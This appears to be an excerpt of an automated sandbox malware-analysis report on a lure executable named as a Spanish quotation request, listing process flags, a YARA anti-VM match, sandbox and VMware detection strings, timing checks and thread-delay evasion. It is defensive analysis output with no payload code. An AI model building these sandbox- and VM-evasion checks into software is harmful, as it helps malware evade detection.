Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe PID: 7448, type: MEMORYSTR

Source: C:\Windows\SysWOW64\SecEdit.exe	API/Special instruction interceptor: Address: 7FF8418CD324
Source: C:\Windows\SysWOW64\SecEdit.exe	API/Special instruction interceptor: Address: 7FF8418CD7E4
Source: C:\Windows\SysWOW64\SecEdit.exe	API/Special instruction interceptor: Address: 7FF8418CD944
Source: C:\Windows\SysWOW64\SecEdit.exe	API/Special instruction interceptor: Address: 7FF8418CD504
Source: C:\Windows\SysWOW64\SecEdit.exe	API/Special instruction interceptor: Address: 7FF8418CD544
Source: C:\Windows\SysWOW64\SecEdit.exe	API/Special instruction interceptor: Address: 7FF8418CD1E4
Source: C:\Windows\SysWOW64\SecEdit.exe	API/Special instruction interceptor: Address: 7FF8418D0154
Source: C:\Windows\SysWOW64\SecEdit.exe	API/Special instruction interceptor: Address: 7FF8418CDA44

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Memory allocated: 23E068B0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Memory allocated: 23E20420000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 4_2_0369D1C0 rdtsc

4_2_0369D1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8155	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1516	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Window / User API: threadDelayed 3255	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Window / User API: threadDelayed 6717	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe	API coverage: 0.9 %
Source: C:\Windows\SysWOW64\SecEdit.exe	API coverage: 3.3 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe TID: 8148	Thread sleep count: 3255 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe TID: 8148	Thread sleep time: -6510000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe TID: 8148	Thread sleep count: 6717 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe TID: 8148	Thread sleep time: -13434000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe TID: 7260	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe TID: 7260	Thread sleep time: -43500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe TID: 7260	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe TID: 7260	Thread sleep time: -32000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\SecEdit.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\SecEdit.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\SecEdit.exe

Code function: 12_2_0058BC80 FindFirstFileW,FindNextFileW,FindClose,

12_2_0058BC80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: 1150d71.12.dr	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: 1150d71.12.dr	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: 1150d71.12.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: 1150d71.12.dr	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: 1150d71.12.dr	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: 1150d71.12.dr	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 1150d71.12.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
